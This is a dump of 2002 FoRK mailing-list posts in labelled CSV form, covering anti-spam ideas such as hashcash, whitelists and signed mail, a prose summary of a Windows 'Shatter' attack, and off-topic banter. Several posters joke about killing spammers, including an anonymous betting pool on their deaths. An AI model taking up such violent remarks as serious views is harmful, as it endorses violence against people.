says. ""It really was wild. The lawyers felt like they were being graded."" -- --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Mon, 05 Aug 2002 11:46:46 -0700",too much news,"So I see a headline which reads: ""Microsoft Outlining Settlement Plans"" and my initial reaction is to wonder if West Jerusalem should worry that Redmond will beat them to embracing the West Bank. -Dave http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 06 Aug 2002 11:30:10 -0700",S&P QC,"Begeman's _Manufacturing Processes_ talks about Quality Control Charts: > The tolerance limits for a part are placed outside of the control > limits and are never inside of them. Once the control chart has > been established, data is recorded on it and it becomes a record > of the variation of an inspected dimension over a period of time. > The data plotted should fall in random fashion between the control > lines, if all assignable causes for variation are absent. When the > data fall in this manner, it can be assumed that the part is being > made correctly 99.73% of the time; that is, no more than 3 out of > 1000 will leave the process incorrectly made. Taking a look at the S&P 500, and using the Ibbotson 2000 figures of 13% expected stock return and 20% standard deviation, and taking the the actual 2.5 year return on the S&P since 31 Dec 1999 to be close to -30%, we find: -.30 ? 2.5*(.13) - 3*sqrt(2.5)*(.20) -30% > -60% so it still plots out between the control lines ... > So long as the points fall between the control lines, no adjustments > or changes in the process are necessary. If five to seven points fall > on one side of the mean, the process should be checked. When points > fall outside of the control lines, the cause must be located and > corrected immediately. ... but maybe we should've checked the process during the ""long"" bull. -Dave http://xent.com/mailman/listinfo/fork",0,1 Magnus Bodin ,fork@spamassassin.taint.org,"Wed, 7 Aug 2002 20:28:42 +0200",the end of an era (fwd),"Seems like Edsger W. Dijkstra has passed away. ------- Forwarded Message From: ""Edsger W. Dijkstra"" Subject: from the family Cc: faculty@cs.utexas.edu version=2.20 Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Grateful for most that has befallen him, has peacefully passed away, Edsger Wybe Dijkstra, our husband and father. We hold him very dear. The cremation will take place on Saterday, August 10th, 12:30 PM at Somerenseweg 120 Heeze the Netherlands Maria C. Dijkstra Debets Marcus J. Dijkstra Femke E. Dijkstra Rutger M. Dijktra Please forward this message to whomever you feel missing in the recipient list. ------- End of Forwarded Message http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),07 Aug 2002 17:33:21 -0400,Re: Hurtage etc.,">>>>> ""R"" == Robert Harley writes: R> 'Scuse me for posting in Greek. :) Better you than me, but I'm sure we all share in your joy. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Robert Harley ,"Wed, 7 Aug 2002 15:17:55 -0700 (PDT)",Re: Hurtage etc.,"On Wed, 7 Aug 2002, Robert Harley wrote: > Hmm... now I have an asymptotically faster precomputation algorithm Woo, faster is better... But what have you done about all those patents that prevent anyone from going near ECC in the first place, hmmmmmm? - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 """John Evdemon"" ",fork@spamassassin.taint.org,"Wed, 7 Aug 2002 18:56:22 -0400",Quitting Music,"Keep your fingers crossed... Exhausted Britney 'wants to quit music' http://www.thisislondon.com/dynamic/news/story.html?in_review_id=661754&in_review_text_id=632865 http://xent.com/mailman/listinfo/fork",0,1 grlygrl201@aol.com,"beberg@mithral.com, harley@argote.ch","Thu, 08 Aug 2002 07:35:09 -0400",Re: Hurtage etc.,"In a message dated Wed, 7 Aug 2002 5:17:55 PM Eastern Standard Time, beberg@mithral.com writes: > > > On Wed, 7 Aug 2002, Robert Harley wrote: > > > Hmm... now I have an asymptotically faster precomputation algorithm > > Woo, faster is better... But what have you done about all those patents that > prevent anyone from going near ECC in the first place, > hmmmmmm? > > - Adam L. ""Duncan"" Beberg Something tells me Adam's security blanket was very wet and that Adam had a propensity for throwing it on his stuffed animals. Geege http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Wed, 7 Aug 2002 23:04:32 -0700",Perhaps Apple isn't as user-friendly as we thought...,"Sounds like the land of UNIX for the PC (Politically Correct) still has some ways to go in becoming UNIX for the Rest of Us... Quoted from Mac OS X man page for sudoers(5): > > insults If set, sudo will insult users when they enter > an incorrect password. This flag is off by > default. > Hey, at least Apple set the default to no-insults! :-) Rohit --- My permanent email address is khare@alumni.caltech.edu http://xent.com/mailman/listinfo/fork",0,1 Eirikur Hallgrimsson ,"""John Evdemon"" , fork@spamassassin.taint.org","Thu, 8 Aug 2002 00:10:42 -0400",Re: Quitting Music,"Don't get your hopes up. This a career move. Next stop Hollywood. Remember Madonna, The Actress? Eirikur On Wednesday 07 August 2002 06:56 pm, John Evdemon wrote: > Keep your fingers crossed... > Exhausted Britney 'wants to quit music' http://xent.com/mailman/listinfo/fork",0,1 """Stephen D. Williams"" ",fork@spamassassin.taint.org,"Wed, 07 Aug 2002 21:56:12 -0400","PKI smartcard/CA/profile/email/software interoperability, (real) standards, patents","Has anyone had much positive experience with PKI based smartcards, email (S/Mime interoperability), programming to smart cards, etc.? One area in particular that seems surprising is that a number of projects are using cards like the Datakey 330 which seems to store data in a way that is proprietary to particular card/reader driver versions. I've been told, on the other hand, that Java PKI smart cards are very interchangable and upward compatible. The only reasons I've been able to find so far for using the more 'proprietary' cards is that they may be cheaper and further along in FIPS validation. sdw -- sdw@lig.net http://sdw.st Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 703-724-0118W 703-995-0407Fax Dec2001 http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 09 Aug 2002 14:08:22 +0000",Re: David Friedman: Mail Me the Money!,"http://www.techcentralstation.com/1051/printer.jsp?CID=1051-080802A >Mail Me the Money! >By David Friedman 08/08/2002 David is a very bright fellow. But this time he's several years behind. The idea of using epostage to stop spam has been discussed quite a bit. The problem is how to get over the adoption hump. Until most people are taking one form of epostage, most people don't have enough incentive to download and install something that allows them to pay it. Until most people are set up to pay it, any form of epostage I require closes my mailbox to unknown senders from whom I want to receive mail. And even from known senders. Giving someone my email address doesn't automatically put them in my white list. Hashcash tries to lower the adoption barrier by removing the need to pay money for epostage. Instead, the sender burns processing time on his computer, answering a cryptographically hard challenge. But even this requires set-up. There is inadequate incentive to do so until there is a standard mechanism, but no standard mechanism is born until a significant fraction of the market has taken that first step. It may take government action, to institute an effective epostage standard! I think the better idea is to require that people off your white list ""hand sign"" email to you. A couple of companies are now trying to implement this. An email sender, if not on your white list, must respond to a verification email or go to a website, by a process that is very simply for a human sender, but difficult for a spammer to automate. Where epostage requires a standard mechanism, a variety of mechanisms for ""hand signing"" would frustrate spammers while making it no more difficult for legitimate senders. I'm hoping Eudora and some of the other big mail clients incorporate this kind of feature. The advantage to putting this in the mail client is that the required ""hand sign"" can be personalized: ""Your attempt to email David Friedman is blocked until you fill in the blank: The Incredible ______ Machine."" It will be a long time before spammers have a process that defeats millions of personal challenges. On the other hand, I have a hack in mind that would work a large percentage of the time. But I'm not telling. If spammers did figure out such hacks, people would then improve their challenges. Yeah, this would lead to another arms race, and spam would leak through to the unwitting. But this arms race is one that helps spammers identify and target the part of the population whose challenges are sub-par, which is their natural prey. People like David aren't in the market for herbal Viagra or back alley debt consolidation. Since David is an anarchist, I'm surprised he didn't point out that spam is the result of government. The government is ineffective at preventing spam, but it DOES prevent individuals and ISPs from taking retribution against spammers. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Fri, 09 Aug 2002 10:00:08 -0700",Re: Perhaps Apple isn't as user-friendly as we thought...,"Not that I particuarly enjoy these religious wars, but... Adam L. Beberg wrote: >My PC at least crashes a few times a day... > Linux, dude, linux... Elias http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,09 Aug 2002 10:13:43 -0700,Re: Re[2]: Bukkake,"On Fri, 2002-08-09 at 08:20, bitbitch@magnesium.net wrote: > Smegma, happens to be a personal favorite. Years ago, to my five > year old brain, my dad used to inform me that I had 'smegma' in my > eye, and would proceed to extricate it. I don't think there is a specific word in English for eye goop. However, when I was halfway literate in Tagalog, I learned that there is a specific word in that language (or was it another dialect?) for it: muta, pronounced ""MOO-ta"". Even though my Tagalog has faded greatly, I automatically use that word for ""eye goop"" when speaking English (how often does that happen?), mostly because it apparently filled a linguistic hole in my brain and therefore permanently wedged itself into my vocabulary. Not that this is important, but I've inadvertently adopted ""muta"" into my version of the English language as the word for ""eye goop"". Arguably better than ""smegma"" anyway. (Definitely Friday...) -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork ,09 Aug 2002 13:08:48 -0400,Shatter Attacks - How to break Windows,"I'm sure this is common knowledge already, but just in case ... http://security.tombom.co.uk/shatter.html This paper presents a new generation of attacks against Microsoft Windows, and possibly other message-based windowing systems. The flaws presented in this paper are, at the time of writing, unfixable. The only reliable solution to these attacks requires functionality that is not present in Windows, as well as efforts on the part of every single Windows software vendor. Microsoft has known about these flaws for some time; when I alerted them to this attack, their response was that they do not class it as a flaw - the email can be found here. This research was sparked by comments made by Microsoft VP Jim Allchin who stated, under oath, that there were flaws in Windows so great that they would threaten national security if the Windows source code were to be disclosed. He mentioned Message Queueing, and immediately regretted it. However, given the quantity of research currently taking place around the world after Mr Allchin's comments, it is about time the white hat community saw what is actually possible. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Fri, 09 Aug 2002 10:10:16 -0700",Re: David Friedman: Mail Me the Money!,"Gary Lawrence Murphy wrote >>>>>>""R"" == Russell Turpin writes: >>>>>> > > R> ... spam is the result of government. The government is > R> ineffective at preventing spam, but it DOES prevent individuals > R> and ISPs from taking retribution against spammers. > >I don't understand this assertion. Can you explain? >... >So where does government come in to foster this? > The government prevents me from hunting them down and flossing with their sinew after I'm done with them. Sometimes I wish for a return to the common sense laws of the old west... ""You used my inbox without my permission varmit, and now yer gonna pay!"" Elias http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Fri, 09 Aug 2002 10:17:41 -0700",Re: Bukkake,"Tom wrote: >... its a word that deserves a place in the daily vernacular, >much like squick, schmegma, and dork. > Don't forget slithy, mimsy, gimble, and frumious, bequeathed to us by Lewis Carol... Elias http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork ,09 Aug 2002 13:27:50 -0400,Re: Shatter Attacks - How to break Windows,"Be sure to read the followups on http://online.securityfocus.com/archive/1/286228/2002-08-03/2002-08-09/1 where basically the consensus is that the article author is that this is (1) an application problem, not a Windows problem and (2) a problem only a certain class of poorly written applications. So, yeah, it's a new attack, but it's not nearly as devastating an MS critique as the author wants us to believe it is. Luis On Fri, 2002-08-09 at 13:08, Gary Lawrence Murphy wrote: > > I'm sure this is common knowledge already, but just in case ... > > http://security.tombom.co.uk/shatter.html > > This paper presents a new generation of attacks against Microsoft > Windows, and possibly other message-based windowing systems. The > flaws presented in this paper are, at the time of writing, > unfixable. The only reliable solution to these attacks requires > functionality that is not present in Windows, as well as efforts on > the part of every single Windows software vendor. Microsoft has > known about these flaws for some time; when I alerted them to this > attack, their response was that they do not class it as a flaw - > the email can be found here. This research was sparked by comments > made by Microsoft VP Jim Allchin who stated, under oath, that there > were flaws in Windows so great that they would threaten national > security if the Windows source code were to be disclosed. He > mentioned Message Queueing, and immediately regretted it. However, > given the quantity of research currently taking place around the > world after Mr Allchin's comments, it is about time the white hat > community saw what is actually possible. > > > -- > Gary Lawrence Murphy TeleDynamics Communications Inc > Business Innovations Through Open Source Systems: http://www.teledyn.com > ""Computers are useless. They can only give you answers.""(Pablo Picasso) > > http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 Tom ,James Rogers ,"Fri, 9 Aug 2002 13:54:59 -0400 (EDT)",Re: Re[2]: Bukkake,"On 9 Aug 2002, James Rogers wrote: --]my version of the English language as the word for ""eye goop"". Arguably --]better than ""smegma"" anyway. Unless of course the goop in your eye was a result of a botched tea bagging. Muta, I like that. -tom http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,09 Aug 2002 14:10:58 -0400,Re: David Friedman: Mail Me the Money!,">>>>> ""E"" == Elias Sinderson writes: E> Gary Lawrence Murphy wrote >>>>>>> ""R"" == Russell Turpin writes: >>>>>>> >> R> ... spam is the result of government. The government is R> ineffective at preventing spam, but it DOES prevent individuals R> and ISPs from taking retribution against spammers. >> I don't understand this assertion. Can you explain? ... So >> where does government come in to foster this? >> E> The government prevents me from hunting them down and flossing E> with their sinew after I'm done with them. This only restates the assertion, it doesn't clarify /how/ government restrains you, other than under laws of criminal conduct and violent crimes (if you meant the above literally) If I can trace a spammer to their ISP, I can /generally/ get that account revoked, and if you trace one to their parent corporation, I don't know of any law that specifically /exempts/ them from lawsuits, it's just that no one has yet succeeded in any important way. If you have some law that prevents action against spammers, then why all the class-action suits and other anti-spam court cases, some even state-funded? I'm also curious of the mechanics of your retribution strategy: Let's say you did win a lawsuit and shut down the largest spammer network in the USA, do you really believe 40 Beijing spammers won't fill the void? Do you really believe those 40 are not right now prepping their mail servers whether or not you prevail over your countrymen? How do you intend to take legal (and/or violent) action against people a world away and in a culture you can barely understand let alone understand how to properly bribe? I'm not so hopeful this method can work against aromatherapy viagra when we can't even track and convict murderous Nigerian mafia, and they are blatant! Political solution is a contradiction in terms, and it's also true that no lawmaker has ever been even a tenth the catalyst on improving the quality of life in Britain and the western world as did central heating and the invention of one A.J.Crapper. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 09 Aug 2002 18:21:02 +0000",Re: David Friedman: Mail Me the Money!,"Gary Lawrence Murphy: >Back before they had such clever software, I used to hunt spammers like >swamp-rats .. Good for you! You did the world a favor. Personally, I wouldn't know where to hide the bodies. But if the government didn't have this -- um, fussiness -- about shooting vermin, the spam problem would disappear rather quickly. _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,Luis Villa ,09 Aug 2002 14:15:33 -0400,Re: Shatter Attacks - How to break Windows,">>>>> ""L"" == Luis Villa writes: L> ... So, yeah, it's a new attack, but it's not nearly as L> devastating an MS critique as the author wants us to believe Good to know ... not being an MS user, I have no means to evaluate these things so it's best to get a second opinion ;) Besides, I shudder to think of the pandemonium that would ensue if we had to /deploy/ the present states of Lycoris or Lindows in it's stead! As the Big Joe Williams song goes, ""Next week, sometime, but no, not now."" -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 09 Aug 2002 20:55:39 +0000",Re[2]: Bukkake,"James Rogers: >I don't think there is a specific word in English >for eye goop. ""Sleep. n. .. 3. A crust of dried tears or mucus normally forming around the inner rim of the eye during sleep."" But I think muta is a fine word for it. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 09 Aug 2002 21:18:22 +0000",Re: David Friedman: Mail Me the Money!,"Gary Murphy: >How do you intend to take legal (and/or violent) action against people a >world away and in a culture you can barely understand let alone >understand how to properly bribe? I'm not so hopeful this method can work >against aromatherapy viagra when we can't even track and convict murderous >Nigerian mafia, and they are blatant! Spammers fall into two categories. The more difficult case are those whose back-end business can be executed entirely in a foreign nation, such as the 419 spammers. And you're right: there's not much we can do about those, except filter them in various ways. But the vast majority of spammers have a back-end business that requires a native presence. Debt consolidation. Mortgages. Herbalife and other MLMs. Even porn sites require credit card transactions. That means the people responsible CAN be found. >I don't know of any law that specifically /exempts/ them from lawsuits, >it's just that no one has yet succeeded in any important way. There have been some successful suits, but (a) it takes too much effort, and (b) the result isn't enough to deter the spammer. But you're talking about action constrained by law. In an anarchy, people act more directly, with less cost, and to more effect. Spammers very quickly would learn their lesson. Except for the ones who ply their scam in a foreign country. Of course, that's assuming there are ISPs and other infrastructure in an anarchy. Arguing about how things would work without the state involves a large degree of counterfactual reasoning. >no lawmaker has ever been even a tenth the catalyst on improving the >quality of life in Britain and the western world as did central heating and >the invention of one A.J.Crapper. Hmm. I've lived most of my life in houses that did not have central heating, including my current abode. As to the crapper, it did not do nearly as much to improve waste management in cities as did the public sewers which it feeds, and the water lines that supply it. Without these, you would find that a chamber pot works just as well. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 """Bill Stoddard"" ",,"Fri, 9 Aug 2002 17:49:13 -0400",RE: Re[2]: Bukkake,"> James Rogers: > >I don't think there is a specific word in English > >for eye goop. > > ""Sleep. n. .. 3. A crust of dried tears or mucus > normally forming around the inner rim of the eye > during sleep."" > > But I think muta is a fine word for it. Muta is good but if Bukkake is not eye goop, then what is? B http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Gary Lawrence Murphy ,"Sat, 10 Aug 2002 01:15:29 +0200 (CEST)",Re: David Friedman: Mail Me the Money!,"On 9 Aug 2002, Gary Lawrence Murphy wrote: > This only restates the assertion, it doesn't clarify /how/ government > restrains you, other than under laws of criminal conduct and violent > crimes (if you meant the above literally) Of course. What we need is an anonymous betting pool on prominent spammer's time of demise. Unfortunately, the government tends to take a dim view of this, for some unfathomable reason. > If I can trace a spammer to their ISP, I can /generally/ get that > account revoked, and if you trace one to their parent corporation, I Uh, account revokation doesn't have quite the same level of deterrence as cranial indentation with a heavy, blunt object. Honestly, how many people will still spam if they knew they'd be running a real risk of losing life and limb? http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Fri, 9 Aug 2002 15:18:47 -0700",Re: David Friedman: Mail Me the Money!,"My ideal mailwall will allow message passthrough in many ways: - Sender membership on my personal whitelist or any one of many other external whitelists I respect - Payment of a small fee (via a website and PayPal link) - Demonstration of special per-message effort, either via... - a computational challenge (hashcash) or - other challenge that requires human-level flexibility & followthrough (sender manual whitelisting) - Inclusion of a legally-enforceable guarantee that the mail is not an unsolicited commercial pitch -- one example of this class of guarantee would be a posted bond - By convincing some analysis software agent of mine that I want to see the mail, based on its content and distribution list There's no need to do only one. Some might overlap; the manual process for passing a message through might require the assertion of a legally-enforceable guarantee about the messages' contents. Passing certain tests once might add an address to the persistent whitelist. Any slightly determined and legitimate correspondent would be able to find multiple ways to get their mail read, while spammers would face a situation where the marginal cost of reaching me is much, much greater than the expected return. Some economically irrational spammers (and religious/political zealots) would get through, but such traffic should be a background trickle rather than an annoying torrent. - Gordon http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,09 Aug 2002 21:06:06 -0400,Re: David Friedman: Mail Me the Money!,">>>>> ""R"" == Russell Turpin writes: R> Hmm. I've lived most of my life in houses that did not have R> central heating, including my current abode. As to the R> crapper, it did not do nearly as much to improve waste R> management in cities as did the public sewers which it feeds, R> and the water lines that supply it. Without these, you would R> find that a chamber pot works just as well. The particulars may be negotiable, but even in your list there is not one _political_ solution, only technical ones. QED. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","""Russell Turpin"" , fork@spamassassin.taint.org","Fri, 9 Aug 2002 19:57:44 -0400",Re: David Friedman: Mail Me the Money!,"At 6:21 PM +0000 on 8/9/02, Russell Turpin wrote: > Personally, > I wouldn't know where to hide the bodies. But if > the government didn't have this -- um, fussiness -- > about shooting vermin, the spam problem would > disappear rather quickly. ...which reminds me of my favorite David Friedman quote. See below... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""The direct use of physical force is so poor a solution to the problem of limited resources that it is commonly employed only by small children and great nations."" -- David Friedman, _The_Machinery_of_Freedom_ http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sun, 11 Aug 2002 06:32:35 +0000",Re: Forged whitelist spam,"Gary Lawrence Murphy: >This is for the whitelist fans: Can someone please tell us why the >following extremely frequent spam header pattern would _not_ pass a >whitelist test? The letter itself is most certainly spam/viral and >was most certainly not sent by me, but I see no way you might tell that it >was not, nor can I see how I might charge the sender with fraud for having >'impersonated' my account. .. My uneducated guess is that all they need to >jump expensive whitelist >walls would be buckshot a spam-laden Klez .. There are several issues here. (1) For reasons that have nothing to do with commercial advertising, we need email software that prevents virus attacks a la Melissa and Klez. We simply can't continue down the path where every script kiddie with a grudge or political agenda can cause millions or billions of dollars worth of damage. (2) Very likely, email practices will evolve to the point that digital signatures are the standard way to recognize the sender of a message. Sabotaging your machine or otherwise compromising your private key will be the only way that someone can forge a message from you. I don't see any reason that email software that automatically uses digital signatures for contact management and whitelisting would be any more expensive than existing email clients. Unless Microsoft manages to get a defacto monopoly on it. (3) I think identity theft should be made a felony, with very stiff penalties, for reasons that have nothing to do with spam. No, obviously, simply parading around with a sign that says ""I'm George Bush"" is not identity theft. On the other hand, I think using a virus to compromise someone else's private key should should fall into that category. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ","""fork"" ","Sun, 11 Aug 2002 00:57:43 -0700",Re: Forged whitelist spam,"Gary Lawrence Murphy writes: > This is for the whitelist fans: Can someone please tell us why the > following extremely frequent spam header pattern would _not_ pass a > whitelist test? The letter itself is most certainly spam/viral and > was most certainly not sent by me, but I see no way you might tell > that it was not, nor can I see how I might charge the sender with > fraud for having 'impersonated' my account. If you crypto-sign your outgoing mail, you don't have to set your mailwall whitelist to accept unsigned mail spoofed as being from you. Similarly, if you include some weaker token or checksum that spammers can't easily guess. If you can track the actual sender, then the proof that they've committed identity fraud is your credible testimony that you are the rightful user of the declared originating address, and that you did not send the message. I'm not sure what level of damages you could claim, though. - Gordon http://xent.com/mailman/listinfo/fork",0,1 Tom ,"""Adam L. Beberg"" ","Thu, 8 Aug 2002 17:21:16 -0400 (EDT)",Re: Perhaps Apple isn't as user-friendly as we thought...,"On Thu, 8 Aug 2002, Adam L. Beberg wrote: --]Yea, Apple sucks, my crappy iMac hasn't crashed once in 2 years. When all you do on it is pout on emaillists and watch asain bukaky porn wheres the strain? Striken as anecdotal...oh and I had a win98 box running wsmf server stuffs (apache, dbs, shoutcast etc) up on dsl without so much as a hicup for over 1.5 years other than the various game realted hijinks tribes would pull. So if its raw uptime ou want,....tools and craftsman time. Thus once again uptime fawl down go boom. -tom http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Gary Lawrence Murphy ,"Sun, 11 Aug 2002 12:28:02 +0200 (CEST)",Re: Forged whitelist spam,"On 10 Aug 2002, Gary Lawrence Murphy wrote: > My uneducated guess is that all they need to jump expensive whitelist > walls would be buckshot a spam-laden Klez with a 5-million-addresses > mailer; if it finds just one vulnerable host on an Exchange server, > through hopping addressbooks across a few degrees of freedom, a world > of whitelists are instantly breechable. You seem to be saying that whitelists are useless, because there are worms which can compromise your system, read your address book/whitelist, and sent themselves on, compromising a nonnegligible fraction of systems as they go along. While mailing lists can be spam/worm amplifiers, I don't think this is true for individual users even today. Moreover, worms which use email as vector exist *only* because a single vendor ships mailers with broken default settings, and insists to make documents executables. This makes for very bad press, and eventually that vendor is going to wise up, and stop shipping as many broken wares (or people will switch to more secure alternatives, whatever comes first). http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Gordon Mohr ,"Sun, 11 Aug 2002 13:33:10 +0200 (CEST)",Re: Forged whitelist spam,"On Sun, 11 Aug 2002, Gordon Mohr wrote: > If you crypto-sign your outgoing mail, you don't have to set your > mailwall whitelist to accept unsigned mail spoofed as being from you. Users don't like entering passphrases when sending email. USB fobs, smart cards or other removable hardware are not yet widespread. http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sun, 11 Aug 2002 15:20:05 +0000",Re: Forged whitelist spam,"Eugene Leitl: >Users don't like entering passphrases when sending email. If you're using the mail client on your personal machine, there's no reason you would need to enter a passphrase, unless that is part of how you secure the data on your personal machine. You're private key is as secure as any other data on your machine. If you're working remotely, you already have to enter a passphrase to get to your email. _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Russell Turpin ,"Sun, 11 Aug 2002 18:12:52 +0200 (CEST)",Re: Forged whitelist spam,"On Sun, 11 Aug 2002, Russell Turpin wrote: > If you're using the mail client on your personal > machine, there's no reason you would need to enter > a passphrase, unless that is part of how you secure > the data on your personal machine. You're private The original comment's context was digital signatures. A digital signature is worth sqrat if any userspace app or rogue superuser code can grab your keyring in clear, and send out stuff in your name. A passphrase unlocking the keyring for that particular use is a minimal protection (since not immune to passphrase snarfers), but this is much, much better than always leaving your key in the lock. (Why then having at all the key, in the first place?) > key is as secure as any other data on your machine. > If you're working remotely, you already have to > enter a passphrase to get to your email. A passphrase is a (long, secure) password unlocking (decrypting) your keyring. You don't use a passphrase to read your email. Unless it resides on a crypto file system. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork ,11 Aug 2002 09:55:00 -0400,Re: Forged whitelist spam,">>>>> ""E"" == Eugen Leitl writes: E> ... Moreover, worms which use email as vector exist *only* E> because a single vendor ships mailers with broken default E> settings, and insists to make documents executables. This makes E> for very bad press, and eventually that vendor is going to wise E> up, and stop shipping as many broken wares Do you suppose any of us will live long enough to see such a day? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sun, 11 Aug 2002 17:37:14 +0000",Re: Forged whitelist spam,"Eugene Leitl: >The original comment's context was digital signatures. A digital signature >is worth sqrat if any userspace app or rogue superuser code can grab your >keyring in clear If you have a rogue app on your machine, what keeps it from sniffing your passphrase? This is one of the reasons I keep harping on the need for thin, secure clients. >A passphrase is a (long, secure) password unlocking (decrypting) your >keyring. You don't use a passphrase to read your email. When I read email, I want to respond to email, which means, were I using a digital signature, that it needs to be at the ready. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Sun, 11 Aug 2002 13:36:31 -0400",Fwd: [camram-spam] another framework hashcash related framework,"--- begin forwarded text Date: Sun, 11 Aug 2002 13:02:48 +0100 To: usual@espace.net From: Fearghas McKay Subject: Fwd: [camram-spam] another framework hashcash related framework Reply-To: ""Usual People List"" Sender: --- begin forwarded text Mailing-List: contact camram-spam-help@camram.org; run by ezmlm X-No-Archive: yes Reply-To: camram-spam@camram.org Delivered-To: mailing list camram-spam@camram.org Delivered-To: moderator for camram-spam@camram.org Date: Fri, 2 Aug 2002 00:42:53 +0100 From: Adam Back To: CAMRAM Cc: Adam Back Subject: [camram-spam] another framework hashcash related framework There is a framework for using a hashcash like proof of work function as a way to frustrate junk mailers in this paper: ""Curbing Junk E-Mail via Secure Classification"" by E. Gabber, M. Jakobsson, Y. Matias, A. Mayer Bell in FC98. Online copy here: http://citeseer.nj.nec.com/27735.html (Look in the view or download section at the top right, it's availabile in at least .pdf and .ps formats). The framework they propose with proxies etc looks a lot like the current camram architecture, with a proof of work to get on a white list. They use target revokable email addresses (basically identical to the LWPA concept) to implement the white list. The resulting framework is essentially identical to what I proposed in recent message with: Subject: target revokable email addresses, and postage-free tokens Their idea of including the postage free-token in the email address, mirrors what is done in LWPA and makes the system exhibit smoother migration for non-users. eg. you can use varied sender addresses and it will still work, you can forward the email address to someone else and it will still work etc. They have some software architecture diagrams and suggestions for installing some of the proxies on a corporate gateway -- ""gatekeeper"" they call it. Adam --------------------------------------------------------------------- To unsubscribe, e-mail: camram-spam-unsubscribe@camram.org For additional commands, e-mail: camram-spam-help@camram.org --- end forwarded text --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","cypherpunks@lne.com, fork@spamassassin.taint.org, nettime-l@bbs.thing.net,","Sun, 11 Aug 2002 12:31:56 -0400",Re: [dgc.chat] free?,"--- begin forwarded text Date: Sun, 